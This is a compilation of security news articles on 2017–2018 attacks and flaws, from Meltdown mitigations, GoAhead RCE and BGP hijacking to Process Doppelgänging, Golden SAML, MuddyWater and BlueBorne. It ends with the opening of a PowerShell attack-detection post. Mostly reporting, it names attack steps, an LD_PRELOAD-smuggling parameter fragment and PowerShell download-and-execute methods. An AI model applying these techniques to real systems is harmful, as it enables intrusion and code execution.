KPTI has already been implemented in the Linux kernel and Microsoft has been working on a similar system for Windows. Apple is also said to be working on patches for macOS.

Cloud providers that use Intel CPUs and Xen paravirtualization are impacted. Amazon Web Services (AWS) and Microsoft Azure have been working on patches and they have informed customers that cloud instances will need to be rebooted in the upcoming days to apply security patches.

Google has addressed the vulnerabilities in its Cloud products and services. The company pointed out that while attacks are not easy to launch against Android devices, the latest Android security updates do provide additional protection.

Spectre attacks are more difficult to block. However, researchers say it’s possible to prevent specific known exploits using software patches.

Intel addresses concerns of performance penalties introduced by mitigations

Since KPTI has already been implemented in the Linux kernel before the disclosure – this actually led to experts figuring out that there was a serious vulnerability in Intel CPUs – several tests have been conducted to determine the impact of the mitigation on performance.

The researchers who developed the KAISER method reported a negative impact of only 0.28 percent on performance, but tests conducted now showed that performance penalties can reach as much as 30 percent, depending on what types of operations are being conducted.

Michael Schwartz, one of the researchers involved in the discovery of the Meltdown and Spectre vulnerabilities, has confirmed for SecurityWeek that there definitely can be a significant performance penalty for certain types of workloads.

“We ran some benchmarks on our initial KAISER implementation which showed only small performance impacts on modern CPUs. However, we guess that the performance penalties reported by other people (something between 5% - 30%) are realistic on older CPUs and unusual workload (e.g., many syscalls),” Schwartz said.

Intel has reassured customers that any performance impacts are workload-dependent and they should not be significant for the average user. Furthermore, the chip maker says performance impact will be mitigated over time.


Devices Running GoAhead Web Server Prone to Remote Attacks
4.1.2018 securityweek
Attack
A vulnerability affecting all versions of the GoAhead web server prior to version 3.6.5 can be exploited to achieve remote code execution (RCE) on Internet of Things (IoT) devices.

GoAhead is a small web server employed by numerous companies, including IBM, HP, Oracle, Boeing, D-link, and Motorola, is “deployed in hundreds of millions of devices and is ideal for the smallest of embedded devices,” according to EmbedThis, its developer.

The web server is currently present on over 700,000 Internet-connected devices out there, a Shodan search has revealed.

However, not all of these devices are impacted by said remote code execution vulnerability. Tracked as CVE-2017-17562, the vulnerability is triggered only in special conditions and affects only devices with servers running *nix that also have CGI support enabled with dynamically linked executables (CGI scripts).

Discovered by Elttam security researchers, the flaw is the “result of initializing the environment of forked CGI scripts using untrusted HTTP request parameters.” If the aforementioned conditions are met, the behavior can be abused for remote code execution when combined with the glibc dynamic linker, using special variables such as LD_PRELOAD.

The security researchers discovered that the issue affects all versions of the GoAhead source since at least 2.5.0, with the optional CGI support enabled.

The bug resides in the cgiHandler function, “which starts by allocating an array of pointers for the envp argument of the new process, followed by initializing it with the key-value pairs taken from HTTP request parameters. Finally, the launchCgi function is called which forks and execve’s the CGI script,” Elttam explains.

While REMOTE_HOST and HTTP_AUTHORIZATION are filtered, the remaining parameters are considered trusted and are passed along unfiltered. Thus, an attacker can control arbitrary environment variables used in a new CGI process.

To resolve the issue, EmbedThis introduced a skip for special parameter names and a prefix of all other parameters with a static string. This patch should resolve the issue even when parameters of the form a=b%00LD_PRELOAD%3D are used, Elttam says.

The issue, the researchers say, could exist in other services as well, not only in GoAhead web servers compiled with CGI support enabled.

“Although the CGI handling code remained relatively stable in all versions of the web server (which made it the ideal target), there has been a significant amount of code churn over the years in other modules. It’s possible there are other interesting vulnerabilities [in the web server],” Elttam concludes.


BGP hijacking – Traffic for Google, Apple, Facebook, Microsoft and other tech giants routed through Russia
18.12.2017 securityaffairs
Attack

Traffic for Google, Apple, Facebook, Microsoft and other tech giants routed through Russia, experts believe it was an intentional BGP Hijacking.
Last week a suspicious event routed traffic for major tech companies (i.e. Google, Facebook, Apple, and Microsoft) through a previously unknown Russian Internet provider. The event occurred on Wednesday, researchers who investigated it believe the traffic was intentionally hijacked.

The incident involved the Internet’s Border Gateway Protocol that is used to route traffic among Internet backbones, ISPs, and other large networks.


BGPmon.net
@bgpmon
Example of a @facebook prefix briefly routed towards AS39523 DV-LINK-AShttps://bgpmon.net/popular-destinations-rerouted-to-russia/ … https://twitter.com/bgpstream/status/940455830893334528 …

12:27 AM - Dec 13, 2017
Replies 48 48 Retweets 46 46 likes
Twitter Ads info and privacy
A similar incident occurred eight months when a huge amount of traffic belonging to MasterCard, Visa, and more than two dozen other financial services was briefly routed through a telecom operator controlled by the Russian Government.

“Early this morning (UTC) our systems detected a suspicious event where many prefixes for high profile destinations were being announced by an unused Russian Autonomous System. Starting at 04:43 (UTC) 80 prefixes normally announced by organizations such Google, Apple, Facebook, Microsoft, Twitch, NTT Communications and Riot Games were now detected in the global BGP routing tables with an Origin AS of 39523 (DV-LINK-AS), out of Russia.” states a blog post published by Internet monitoring service BGPMon.
“Looking at timeline we can see two event windows of about three minutes each. The first one started at 04:43 UTC and ended at around 04:46 UTC. The second event started 07:07 UTC and finished at 07:10 UTC.
Even though these events were relatively short lived, they were significant because it was picked up by a large number of peers and because of several new more specific prefixes that are not normally seen on the Internet. So let’s dig a little deeper. “

BGPMon observed two distinct events for a total of six minutes that affected 80 separate address blocks.

bgp hijack 1

Another monitoring service, Qrator Labs, stated the event lasted for two hours during which the number of hijacked address blocks varied from 40 to 80.

bgp hijack 2

BGPMon experts consider the incident as suspicious for the following reasons:

The rerouted traffic belonged to big tech companies.
Hijacked IP addresses belong to small and specific blocks that aren’t’ normally seen on the Internet.
“What makes this incident suspicious is the prefixes that were affected are all high profile destinations, as well as several more specific prefixes that aren’t normally seen on the Internet. This means that this isn’t a simple leak, but someone is intentionally inserting these more specific prefixes, possibly with the intent the attract traffic.” continues the analysis from BGPMon.

The BGP hijacking was caused by an autonomous system located in Russia that added entries to BGP tables claiming it was the legitimate origin of the 80 affected prefixes. This assertion caused large amounts of traffic sent to and received by the affected companies to pass through the Russian AS 39523 before being routed to its final destination.

Below the list of ISPs that picked up the new route:

xx 6939 31133 39523 (path via Hurricane Electric)
xx 6461 31133 39523 (path via Zayo)
xx 2603 31133 39523 (path via Nordunet)
xx 4637 31133 39523 (path via Telstra)
AS39523 is a previously unused autonomous system that hasn’t been active in years, but he made the headlines in August when it was involved in another BGP incident that involved Google.

“Whatever caused the incident today, it’s another clear example of how easy it is to re-route traffic for 3rd parties, intentionally or by accident. It also is a good reminder for every major ISP to filter customers. ” concluded BGPMon.

“This hijack highlights a common problem that arises due to lack of route filtering. We can blame AS39523 for the accident, but without proper filters at the intermediate transit providers boundaries we are doomed to see similar incidents again and again. We’d like to encourage all networks involved in this incident to review their route filtering strategy, and at the very least implement prefix-based BGP filters on all interconnections towards their customers.” concluded Qrator Labs.


ROBOT Attack: 19-Year-Old Bleichenbacher Attack Leaves Encrypted Web Vulnerable
12.12.2017 thehackernews
Attack

A 19-year-old vulnerability has been re-discovered in the RSA implementation from at least 8 different vendors—including F5, Citrix, and Cisco—that can give man-in-the-middle attackers access to encrypted messages.
Dubbed ROBOT (Return of Bleichenbacher's Oracle Attack), the attack allows an attacker to perform RSA decryption and cryptographic operations using the private key configured on the vulnerable TLS servers.
ROBOT attack is nothing but a couple of minor variations to the old Bleichenbacher attack on the RSA encryption protocol.
First discovered in 1998 and named after Swiss cryptographer Daniel Bleichenbacher, the
Bleichenbacher attack is a padding oracle attack on RSA-based PKCS#1 v1.5 encryption scheme used in SSLv2.
Leveraging an adaptive chosen-ciphertext attack which occurred due to error messages by SSL servers for errors in the PKCS #1 1.5 padding, Bleichenbacher attack allows attackers to determine whether a decrypted message is correctly padded.
This information eventually helps attackers decrypt RSA ciphertexts without recovering the server's private key, completely breaking the confidentiality of TLS when used with RSA encryption.
"An attacker could iteratively query a server running a vulnerable TLS stack implementation to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions." Cisco explains in an advisory.
In 1998, Bleichenbacher proposed to upgrade encryption scheme, but instead, TLS designers kept the vulnerable encryption modes and added a series of complicated countermeasures to prevent the leakage of error details.
Now, a team of security researchers has discovered that these countermeasures were incomplete and just by using some slight variations, this attack can still be used against many HTTPS websites.
"We changed it to allow various different signals to distinguish between error types like timeouts, connection resets, duplicate TLS alerts," the researchers said.
"We also discovered that by using a shortened message flow where we send the ClientKeyExchange message without a ChangeCipherSpec and Finished message allows us to find more vulnerable hosts."
According to the researchers, some of the most popular websites on the Internet, including Facebook and Paypal, are affected by the vulnerability. The researchers found "vulnerable subdomains on 27 of the top 100 domains as ranked by Alexa."
ROBOT attack stems from the above-mentioned implementation flaw that only affects TLS cipher modes using RSA encryption, allowing an attacker to passively record traffic and later decrypt it.
"For hosts that usually use forward secrecy, but still support a vulnerable RSA encryption key exchange the risk depends on how fast an attacker is able to perform the attack," the researchers said.
"We believe that a server impersonation or man in the middle attack is possible, but it is more challenging."
The ROBOT attack has been discovered by Hanno Böck, Juraj Somorovsky of Ruhr-Universitat Bochum/Hackmanit GmbH, and Craig Young of Tripwire VERT, who also created a dedicated website explaining the whole attack, its implications, mitigations and more.
The attack affects implementations from several different vendors, some of which have already released patches and most have support notes acknowledging the issue.
You will find the list of affected vendors on the ROBOT website.
The researchers have also released a python tool to scan for vulnerable hosts. You can also check your HTTPS server against ROBOT attack on their website.


Process Doppelgänging Attack allows evading most security software on all Windows Versions
7.12.2017 securityaffairs
Attack

Experts devised a new attack technique dubbed Process Doppelgänging, that could be implemented by vxers to bypass most antivirus solutions.
A group of security researchers from Ensilo discovered a new malware evasion technique, dubbed Process Doppelgänging, that could be implemented by vxers to bypass most antivirus solutions and security software.

The technique is a fileless code injection method that exploits a built-in Windows function and an undocumented implementation of the Windows process loader.

The Process Doppelgänging technique works on almost any Windows version starting from Windows Vista to the latest version of Windows 10.

The security duo from Ensilo, Tal Liberman and Eugene Kogan, presented the Process Doppelgänging at Black Hat 2017 Security conference held in London.

Process Doppelgänging presents similarities to another technique dubbed Process Hollowing, but it relies upon the Windows mechanism of NTFS Transactions.

The Process Hollowing could be used by attackers to replace the memory of a legitimate process with a malicious code, in this way security software are tricked into believing that the legitimate process is running.

Fortunately, all modern security software are able to detect Process Hollowing attacks.The Process Doppelgänging leverages the Windows NTFS Transactions and an outdated implementation of Windows process loader originally designed for Windows XP to carry on the attack.

NTFS Transaction is a Windows feature that was implemented to integrate transactions into the NTFS file system, allowing it easier for application developers to handle errors and preserve data integrity, and of course to manage files and directories.

The NTFS Transaction is an isolated space that allows Windows application developers to write file-output routines which result could be always reconducted to a failure or success state.
The Process Doppelgänging fileless attack works in four steps that are:
Transact—process a legitimate executable into the NTFS transaction and then overwrite it with a malicious file.
Load—create a memory section from the modified (malicious) file.
Rollback—rollback the transaction (deliberately failing the transaction), resulting in the removal of all the changes in the legitimate executable in a way they never existed.
Animate—bring the doppelganger to life. Use the older implementation of Windows process loader to create a process with the previously created memory section (in step 2), which is actually malicious and never saved to disk, “making it invisible to most recording tools such as modern EDRs.”
“The goal of the technique is to allow a malware to run arbitrary code (including code that is known to be malicious) in the context of a legitimate process on the target machine,” said the security duo.

“Very similar to process hollowing but with a novel twist. The challenge is doing it without using suspicious process and memory operations such as SuspendProcess, NtUnmapViewOfSection.”

“In order to achieve this goal we leverage NTFS transactions. We overwrite a legitimate file in the context of a transaction. We then create a section from the modified file (in the context of the transaction) and create a process out of it. It appears that scanning the file while it’s in transaction is not possible by the vendors we checked so far (some even hang) and since we rollback the transaction, our activity leaves no trace behind.”

According to the tests conducted by the researchers, which used Process Doppelgänging to run the well-known password-stealing utility Mimikatz without being detected, the technique evades detection from most antiviruses as reported in the following table:

Process Doppelgänging

Liberman explained that the Process Doppelgänging works on even the latest version of Windows 10, except Windows 10 Redstone and Fall Creators Update, both released earlier this year. On these later releases, the attack triggers a BSOD (blue screen of death) condition.

Fortunately, it is technically challenging to power Process Doppelgänging attacks due to the need to know “a lot of undocumented details on process creation.”

The bad news is that the attack “cannot be patched since it exploits fundamental features and the core design of the process loading mechanism in Windows.”


Canadian Pleads Guilty to Hacking Yahoo
29.11.2017 securityweek
Attack
A 22 year-old Canadian national accused of carrying attacks on Yahoo pleaded guilty on Tuesday to charges returned by a grand jury in the Northern District of California in February 2017.

The man, Karim Baratov, aka Kay, aka Karim Taloverov, aka Karim Akehmet Tokbergenov, an immigrant from Kazakhstan, was arrested in Canada in March 2017, on a U.S. warrant. He was denied bail in April and waived his right to an extradition hearing in August, while waiting to be handed over to US marshals.

Baratov was charged with “computer hacking and other criminal offenses in connection with a conspiracy to access Yahoo’s network and the contents of webmail accounts that began in January 2014,” the U.S. Department of Justice announced.

Three other individuals were charged along Baratov, including two officers of the Russian Federal Security Service (FSB), Russia’s domestic law enforcement and intelligence service. All three are Russian nationals and residents and all remain at large: Dmitry Aleksandrovich Dokuchaev, 33; Igor Anatolyevich Sushchin, 43; and 29-year-old Alexsey Alexseyevich Belan, aka Magg.

In an indictment announced in March 2017, the United States government alleged that Dokuchaev, Sushchin and Belan compromised Yahoo’s network and gained the ability to access Yahoo accounts. Russia denied any official Russian involvement in the attacks.

Baratov was charged for hacking the webmail accounts of individuals of interest to the FSB and for sending the passwords of those accounts to Dokuchaev, in exchange for money. When looking to access individual webmail accounts at other Internet service providers, Dokuchaev asked Baratov to compromise those accounts.

As part of his plea agreement, Baratov admitted to hacking accounts on behalf of his co-conspirators in the FSB, and also revealed that he hacked over 11,000 webmail accounts in total from 2010 until March 2017, when he was arrested by Canadian authorities. He also agreed to pay restitution to his victims and to pay a fine up to $2,250,000, in addition to any prison sentence.

“Baratov advertised his services through a network of primarily Russian-language hacker-for-hire web pages hosted on servers around the world. He admitted that he generally spearphished his victims, sending them emails from accounts he established to appear to belong to the webmail provider at which the victim’s account was hosted (such as Google or Yandex),” the DoJ said.

Baratov’s emails attempted to trick victims into visiting fake web pages and entering their credentials on those pages. Once the victims’ account credentials were collected, Baratov would send screenshots of the victims’ account contents to his customers to prove access to the accounts and provided login credentials after receiving payment.

Baratov pleaded guilty to count One and counts Forty through Forty-Seven of the indictment, which charged him and his co-conspirators with stealing information from protected computers, causing damage to protected computers, and aggravated identity theft.

Baratov is currently detained in California without bail. His sentencing hearing is scheduled for Feb. 20, 2018.

Baratov’s actions appear unrelated to a 2013 breach that exposed all three billion accounts at Yahoo. The hack was initially said to have affected only 500 million accounts.


GOLDEN SAML attack technique forges authentication to cloud apps
25.11.2017 securityaffairs
Attack

Golden SAML could be exploited by an attacker to create fake enterprise identities and access to valuable cloud resources.
Security experts at CyberArk Labs have devised a post-intrusion attack technique dubbed Golden SAML that could be exploited by an attacker to create fake enterprise identities and forge authentication to gain access to valuable cloud resources in a federated environment.

The attackers can impersonate any users gaining the highest privileges by forging SAML “authentication object.”

SAML is an open standard for exchanging authentication and authorization data between an identity provider and a service provider.

“The vector enables an attacker to create a golden SAML, which is basically a forged SAML “authentication object,” and authenticate across every service that uses SAML 2.0 protocol as an SSO mechanism.” states the analysis published by CyberArk.

“In a golden SAML attack, attackers can gain access to any application that supports SAML authentication (e.g. Azure, AWS, vSphere, etc.) with any privileges they desire and be any user on the targeted application (even one that is non-existent in the application in some cases).”

The Golden SAML name reminds us of another notorious attack known as golden ticket, devised by Benjamin Delpy who developed the popular hacking tool Mimikatz.

“The name resemblance is intended, since the attack nature is rather similar. Golden SAML introduces to a federation the advantages that golden ticket offers in a Kerberos environment – from gaining any type of access to stealthily maintaining persistency.” continues the analysis.

The Golden Ticket attack could be launched by attackers to gain full control of an IT infrastructure by manipulating the Windows Server Kerberos authentication framework.

In a similar way, the Golden SAML attack leverages the Security Assertion Markup Language 2.0 (SAML) protocol. Each SAML assertion is trusted and signed via a specific RSA key stored with an identity provider environment.

To carry on the such attack, the attackers will need the private key that signs the SAML objects along with an Active Directory Federation Services user account, token-signing private key, an identity provider (IdP) public certificate and an IdP name.

“Here’s a list of the requirements for performing a golden SAML attack. The mandatory requirements are highlighted in purple. For the other non-mandatory fields, you can enter whatever you like.”

Token-signing private key
IdP public certificate
IdP name
Role name (role to assume)
Domain\username
Role session name in AWS
Amazon account ID
The prerequisites of such attacks are important and make this technique not easy to be used in a real attack scenario.

The experts explained that mitigate the Golden SAMLattack is not simple.

“This attack doesn’t rely on a vulnerability in SAML 2.0. It’s not a vulnerability in AWS/ADFS, nor in any other service or identity provider.

Golden ticket is not treated as a vulnerability because an attacker has to have domain admin access in order to perform it. That’s why it’s not being addressed by the appropriate vendors. The fact of the matter is, attackers are still able to gain this type of access (domain admin), and they are still using golden tickets to maintain stealthily persistent for even years in their target’s domain.” concluded the researchers.

“As for the defenders, we know that if this attack is performed correctly, it will be extremely difficult to detect in your network. “

CyberArk released a new tool dubbed shimit that implements Golden SAML attack.


More Industrial Products at Risk of KRACK Attacks
22.11.2017 securityweek 
Attack
An increasing number of vendors have warned customers over the past weeks that their industrial networking products are vulnerable to the recently disclosed Wi-Fi attack method known as KRACK.

The KRACK (Key Reinstallation Attack) flaws affect the WPA and WPA2 protocols and they allow a hacker within range of the targeted device to launch a man-in-the-middle (MitM) attack and decrypt or inject data. A total of ten CVE identifiers have been assigned to these security bugs.

The vulnerabilities impact many products, including devices designed for use in industrial environments. The first industrial solutions providers to warn customers about the KRACK attack were Cisco, Rockwell Automation and Sierra Wireless.

Cisco said the flaws affect some industrial routers and access points, for which the company has released updates. Rockwell and Sierra Wireless have also identified impacted products and provided patches and mitigations.KRACK affects industrial products

Other industrial solutions providers have come forward in the past weeks to admit that their products are affected.

Siemens said the KRACK vulnerabilities affect some of its SCALANCE, SIMATIC, RUGGEDCOM, and SINAMICS products. The company is working on releasing updates that will address the security holes and, in the meantime, it has provided some mitigations.

Swiss-based ABB informed customers that TropOS broadband mesh routers and bridges running Mesh OS 8.5.2 or prior are also vulnerable to KRACK attacks. ABB has yet to release patches, but it did provide workarounds and mitigations.

German industrial automation firm Phoenix Contact also confirmed that three of the KRACK flaws affect some of its BL2, FL, ITC, RAD, TPC and VMT products. The company said the impact is limited for some of its products, and pointed out that in many cases the attacker would have to be inside the plant in order to conduct an attack.

KRACK affects industrial products

Phoenix is working on patching the vulnerabilities in affected products. The vendor has advised customers using devices running Windows to install the security updates provided by Microsoft.

Lantronix informed customers that several of its wireless connectivity solutions are impacted by KRACK, including PremierWave ethernet-to-WiFi gateways, WiPort wireless ethernet bridges, MatchPort programmable embedded device servers, xPico embedded IoT WiFi modules, SGX IoT device gateways, and WiBox wireless device servers.

The company has released a patch for PremierWave 2050. For the other products, fixes are expected to become available by the end of the year.

Some Johnson Controls products may also be vulnerable to KRACK attacks. The company’s product security and incident response team (PSIRT) is currently assessing the impact of these flaws.

Kaspersky Lab’s ICS-CERT team pointed out that while KRACK attacks can be launched against industrial control systems (ICS) -- for example, some PLCs use Wi-Fi for remote management -- the biggest risk is to network communication devices, smartphones and tablets used by engineers and operators for remote access to ICS.

“In most cases KRACK attacks present virtually no risk to those large industrial and critical infrastructure systems that do not use 802.11 technologies. Today, such systems constitute an absolute majority,” explained Ekaterina Rudina, senior system analyst in Kaspersky’s ICS-CERT team. “Even in cases where these technologies may be used, physical restrictions on access to the controlled zone (e.g., a specific manufacturing unit) would prevent an attack from being carried out.”

“The main risk zone still encompasses those industrial sectors the security of which is given a lower priority than that of critical infrastructure systems and where using wireless technologies to upgrade systems or meet industrial network maintenance needs has become necessary but where compliance with the ‘best practices’ supported by major vendors is not possible because the changes required are too complicated or too costly,” Rudina added.


Using Unsecured IoT Devices, DDoS Attacks Doubled in the First Half of 2017
21.11.2017 securityaffairs
Attack

According to a report recently published by the security firm Corero the number of DDoS Attacks doubled in the First Half of 2017 due to unsecured IoT.
Denial of Service (DoS) attacks have been around as long as computers have been networked. But if your business relies on the Internet to sell products or collaborate, a DoS attack is more than a nuisance, it can be critical.

Over the past few years, the number of DoS attacks has continued to slowly grow in a “cat and mouse” evolution — bad actors get a slightly stronger attack, and network vendors come up with slightly more resilient equipment to defend. Generally the attacks came from botnets comprised of infected computers and servers. The cost of acquiring and keeping these systems in the botnet was relatively expensive, so there was an economic limiter on how fast the attacks would grow. Then Mirai happened in 2016 and everything changed.

The Mirai botnet didn’t struggle with corporate security teams and technical security controls like anti virus software and firewalls.

DDoS

Instead, it focused on the millions of Internet of Things (IoT) devices like webcams and Internet routers in the home to build the botnet. With no security controls to overcome, the Mirai botnet was able to grow and launch Distributed Denial of Service (DDoS) attacks larger than ever seen before. A high-profile attack against Internet journalist Brian Krebs signaled that things had changed, then the October 2016 attack against DNS provider Dyn, showed how devastating a DDoS attack can be. And in the world of a cyber criminal, devastating is where the profit opportunities lie.

According to an Arbor Networks’ report at the end of 2016, “In 2016, IoT botnets emerged as a source of incredibly high volume DDoS attacks. So far these massive attacks have not leveraged reflection/amplification techniques. They are simply taking advantage of the sheer number of unsecured IoT devices that are deployed today.” (PDF) The report goes on to highlight that the number of DDoS attacks was up significantly over 2015 and the average size and time of the attack has also increased. “The longest DDoS attack in Q4 2016 lasted for 292 hours (or 12.2 days) – significantly longer than the previous quarter’s maximum (184 hours, or 7.7 days) and set a record for 2016,” according to Kaspersky’s DDoS Intelligence Report for Q4 2016. Knowing that cyber crime is fueled by profit motives now, it is safe to assume that the cyber criminals have figured out how to monetize the IoT threat and we can expect this growing trend in attacks to continue.

We have confirmation of this trend from DDos prevention provider, Corero. According to their most recent analysis, “Organizations are now experiencing an average of 8 DDoS attack attempts per day, up from 4 per day at the beginning of 2017, fueled by unsecured IoT devices and DDoS-for-hire services.” Massive DDoS attacks are getting all of the press attention, but they are only part of the story. What is most interesting about the analysis, however, is the discovery that, “A fifth of the DDoS attack attempts recorded during Q2 2017 used multiple attack vectors. These attacks utilize several techniques in the hope that one, or the combination of a few, can penetrate the target network’s security defenses.” In other words, the criminals’ objective often isn’t the denial of service, but using overwhelming noise at the perimeter to hide malware injection and data exfiltration activities.

DDoS has joined other cyber crimes as a well established, profitable exploitation technology. For as little as $20 per hour, anyone can take advantage of DDoS-as-a-Services and launch an attack at their target of choice. The opportunity to profit from Ransom Denial of Service, where companies pay to avoid being DDoS’d, to using DDoS as a mask for other profitable cyber crime activities means we haven’t seen the end of the growing trend in Denial of Service attacks.


Middle East 'MuddyWater' Attacks Difficult to Clear Up
16.11.2017 securityweek
Attack
Long-lasting targeted attacks aimed at entities in the Middle East are difficult to attribute despite being analyzed by several researchers, Palo Alto Networks said this week.

Dubbed “MuddyWater” by the security firm because of the high level of confusion they have already created, the attacks took place between February and October 2017. The campaign has made use of a variety of malicious documents, and hit targets in Saudi Arabia, Iraq, Israel, United Arab Emirates, Georgia, India, Pakistan, Turkey, and the United States to date.

The attacks, researchers say, use a slowly evolving PowerShell-based first stage backdoor named POWERSTATS. The activity related to this threat actor continues despite existing reports, with the only observed changes being related to tools and techniques.

The malicious documents used in these attacks are almost identical to those in recently observed incidents targeting the Saudi Arabian government. Those documents were similar to files previously associated with a series of fileless assaults that Morphisec linked to a single attack framework. Some of these attacks were attributed to the hacking group known as FIN7.

According to a new Palo Alto Networks report, the attacks might have been mistakenly associated with the FIN7 group. A command and control (C&C) server delivering the FIN7-linked DNSMessenger tool was said to have been employed by MuddyWater as well, but there’s no evidence that the latter group ever used the utility, the researchers claim.

Between February and October, the malicious documents associated with the group’s activity had been tailored according to the target regions. They often used the logos of branches of local government in an attempt to trick users into enabling malicious macros.

The delivery method might have changed between attacks, but the final payload remained the same non-public PowerShell backdoor mentioned above. Moreover, the malicious documents used in this campaign shared the same C&C infrastructure and featured similar attributes.

“Based on these connections we can be confident that all the files and infrastructure […] are related, since more than one of these can be used to link each of the samples discussed in each case,” Palo Alto notes. The researchers also published lists of C&C servers, compromised sites, and related files.

Tools used by the group have been well-documented in previous reports, including open-source utilities such as Meterpreter, Mimikatz, Lazagne, Invoke-Obfuscation, and more. In some recent attacks, GitHub is used as a hosting site for the POWERSTATS custom backdoor, as the actor controls multiple GitHub repositories, the researchers say.

MuddyWater even compromised accounts at third-party organizations to send their malware. As part of an attack, the malicious document used was nearly identical to a legitimate attachment that the same recipient received later.

“This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to send it,” the researchers explain.

According to Palo Alto Networks, the reports previously associating this cluster of activity to FIN7 would rather create confusion. The FIN7 group is financially motivated and targets organizations in the restaurant, services and financial sectors, which suggests that the threat actor is unlikely to be tied to espionage-focused attacks in the Middle East.

Malware associated with FIN7 hasn’t been observed in MuddyWater attacks, and the researchers also claim that there might be a mistake in the report linking the attacks to FIN7. However, they also admit that the hackers might have planted a false flag when realizing they were under investigation.

“Whilst we could conclude with confidence that the attacks discussed in this article are not FIN7 related, we were not able to answer many of our questions about the MuddyWater attacks. We are currently unable to make a firm conclusion about the origin of the attackers, or the specific types of information they seek out once on a network,” the security researchers say.


WordPress Sites Exposed to Attacks by 'Formidable Forms' Flaws
16.11.2017 securityweek
Attack
Vulnerabilities found by a researcher in a popular WordPress plugin can be exploited by malicious actors to gain access to sensitive data and take control of affected websites.

Formidable Forms, available both for free and as a paid version that provides additional features, is a plugin that allows users to easily create contact pages, polls and surveys, and other types of forms. The plugin has more than 200,000 active installations.

Jouko Pynnönen of Finland-based company Klikki Oy has analyzed the plugin and discovered several vulnerabilities, including ones that introduce serious security risks for the websites using it.

The flaw with the highest severity is a blind SQL injection that can allow attackers to enumerate a website’s databases and obtain their content. Exposed data includes WordPress user credentials and data submitted to a website via Formidable forms.

The researcher also found another flaw that exposes data submitted via Formidable forms. Both this and the SQL injection bug are related to Formidable’s implementation of shortcodes, WordPress-specific code that allows users to add various types of content to their sites with very little effort.

Pynnonen also discovered reflected and stored cross-site scripting (XSS) vulnerabilities. The stored XSS allows an attacker to execute arbitrary JavaScript code in the context of an administrator’s browsing session – the attacker injects the malicious code via forms and it gets executed when viewed by the site admin in the WordPress dashboard.

The expert also noticed that if the iThemes Sync WordPress maintenance plugin is present alongside Formidable Forms, an attacker can exploit the aforementioned SQL injection flaw to obtain a user’s ID and authentication key. This information can be used to control WordPress via iThemes Sync, including to add new admins or install plugins.

Formidable Forms addressed the vulnerabilities with the release of versions 2.05.02 and 2.05.03. iThemes Sync does not view the attack vector described by the researcher as a vulnerability so it has decided not to release a patch.

Pynnonen identified these flaws after being invited to take part in a HackerOne-hosted bug bounty program that offers rewards of up to $10,000. The program was run by an unnamed Singapore-based tech company, but the Formidable Forms vulnerabilities qualified for a bounty due to the fact that the plugin had been used by the firm. Exploitation of the flaws on the tech firm’s website could have allowed an attacker to gain access to personal information and other sensitive data.

The researcher earned $4,500 for the SQL injection vulnerability and a few hundred dollars for each of the other security holes. However, he is displeased that the Singaporean company downplayed the risks posed by the flaws and downgraded the severity of the SQL injection bug from “critical” to “high.”

Pynnonen previously identified serious vulnerabilities in Yahoo Mail, WordPress plugins and the WordPress core.


Amazon Echo, Google Home Vulnerable to BlueBorne Attacks
16.11.2017 securityweek
Attack
Amazon Echo and Google Home devices are vulnerable to attacks exploiting a series of recently disclosed Bluetooth flaws dubbed “BlueBorne.”

IoT security firm Armis reported in September that billions of Android, iOS, Windows and Linux devices using Bluetooth had been exposed to a new attack that can be carried out remotely without any user interaction.

A total of eight Bluetooth implementation vulnerabilities allow a hacker who is in range of the targeted device to execute arbitrary code, obtain sensitive information, and launch man-in-the-middle (MitM) attacks. There is no need for the victim to click on a link or open the file in order to trigger the exploit, and most security products would likely not detect an attack.

Google patched the vulnerabilities affecting Android in September and Microsoft released fixes for Windows in July. Apple had already addressed the issue in iOS one year prior to disclosure, and Linux distributions released updates shortly after disclosure.

However, Armis has now revealed that the voice-activated personal assistants Google Home and Amazon Echo are also vulnerable to attacks leveraging the BlueBorne flaws.

Echo is affected by a remote code execution vulnerability in the Linux kernel (CVE-2017-1000251) and an information disclosure bug in the SDP server (CVE-2017-1000250). Google Home is exposed to attacks by an information leakage issue affecting Android’s Bluetooth implementation (CVE-2017-0785). This Android flaw can also be exploited to cause a denial-of-service (DoS) condition.

Since the Bluetooth feature cannot be disabled on either of the devices, attackers can easily launch an attack as long as they are in range. Armis has published a video showing how an Amazon Echo device can be hacked and manipulated by a remote attacker:

The security firm pointed out that this is the first remote attack demonstrated against Echo. An attack method was previously described by MWR, but it required physical access to the device.

Amazon Echo and Google Home represent 99 percent of the U.S. market for voice-controlled personal assistants, with 15 million and 5 million units sold, respectively. This normally indicates a significant number of potential victims, including many enterprises that use these products. However, Armis has notified Google and Amazon of the vulnerabilities and both companies released patches that have likely reached a majority of devices via automatic updates.

“The Amazon Echo and Google Home are the better examples as they were patched, and did not need user interaction to update. However, the vast bulk of IoT devices cannot be updated,” Armis researchers said. “However, even the Echos and the Homes will eventually be replaced by new hardware versions (as Amazon and Google recently announced), and eventually the old generations will not receive updates - potentially leaving them susceptible to attacks indefinitely.”

Armis has released an Android app that is designed to help users identify vulnerable devices.


Go to HELL, PowersHELL : Powerdown the PowerShell Attacks
15.11.2017 securityaffairs
Attack

Powerdown the PowerShell Attacks : Harnessing the power of logs to monitor the PowerShell activities
Lately, I have been working on analyzing the PowerShell attacks in my clients’ environment. Based on the analysis and research, I have come up with a few indicators that will help to detect the potential PowerShell attacks in your environment using windows event logs. First, we will understand how PowerShell is weaponized in the attacks that are observed in the wild and then we will look at the detection mechanism.

How PowerShell is used in the attacks
As all of us are aware that PowerShell is extremely powerful and we have seen that attackers are increasingly using PowerShell in their attack methods lately. PowerShell is a default package that comes with Microsoft Windows OS and hence it is readily available on the victim machines to exploit.

“Powershell is Predominantly used as a downloader”

The most prominent use of PowerShell, that is observed in the attacks in-the-wild, is to download the malicious file from the remote locations to the victim machine and execute it using commands like Start-Porcess, Invoke-Item OR Invoke-Expression (-IEX) file OR downloading the content of the remote file directly in to the memory of the victim machine and execute it from there.

Two methods of System.net.Webclient that are prevalent in the live attacks

− (New-object System.net.webclient).DownlodFile()
− (New-object System.net.Webclient).DownloadString()
(New-object System.net.webclient).DownlodFile()

The simplest example of this method to check how it works is shown in the snapshot below. (an experiment that one can perform to check the functionality of this method by setting up a http/s server using program like Xampp )


